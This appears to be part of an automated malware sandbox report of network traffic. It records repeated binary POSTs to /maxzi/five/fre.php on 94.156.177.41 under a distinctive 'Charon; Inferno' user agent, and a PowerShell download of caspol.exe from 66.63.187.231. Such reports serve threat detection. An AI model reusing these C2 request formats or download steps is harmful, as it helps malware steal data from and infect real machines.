Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 149Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.231

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 1_2_04BB4B90 URLDownloadToFileW,

1_2_04BB4B90

Source: global traffic

HTTP traffic detected: GET /33/caspol.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 66.63.187.231Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /maxzi/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.41Accept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 9D963662Content-Length: 176Connection: close

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:13 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:14 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:15 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:16 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:17 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:18 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:19 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 09:57:20 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
